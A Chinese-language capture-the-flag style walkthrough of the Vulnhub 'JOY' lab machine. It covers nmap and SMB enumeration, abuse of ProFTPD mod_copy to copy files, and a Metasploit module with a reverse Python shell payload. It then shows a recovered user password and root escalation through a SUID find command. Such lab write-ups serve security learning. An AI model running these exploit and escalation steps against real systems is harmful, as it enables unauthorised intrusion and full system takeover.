Vulnhub:Digitalworld.local (JOY)靶机

kali：192.168.111.111

靶机：192.168.111.130

信息收集

端口扫描

nmap -A -v -sV -T5 -p- --script=http-enum 192.168.111.130

使用enum4linux枚举目标smb服务，发现两个系统用户

enum4linux -a 192.168.111.130

ftp可以匿名登陆，目录权限属主和树组都是ftp用户，猜测：访问的是ftp用户的家目录

upload目录中的directory文件内容，图中文件和目录权限version_control可能会有有用 的信息

漏洞利用

搜索proftpd漏洞

searchsploit proftpd

复制version_control文件到/home/ftp/upload目录

site cpfr /home/patrick/version_control
site cpto /home/ftp/upload/version_control

version_control文件内容

msf模块exploit/unix/ftp/proftpd_modcopy_exec拿shell

use exploit/unix/ftp/proftpd_modcopy_exec
set rhosts 192.168.111.130
set sitepath /var/www/tryingharderisjoy
set payload cmd/unix/reverse_python
run

提权

在/var/www/tryingharderisjoy/ossec/patricksecretsofjoy文件中发现用户patrick的密码：apollo098765

patrick用户sudo权限

执行/home/patrick/script/test该文件可以以root身份赋权限，给find命令suid权限，提升为root

find . -exec /bin/bash -p \; -quit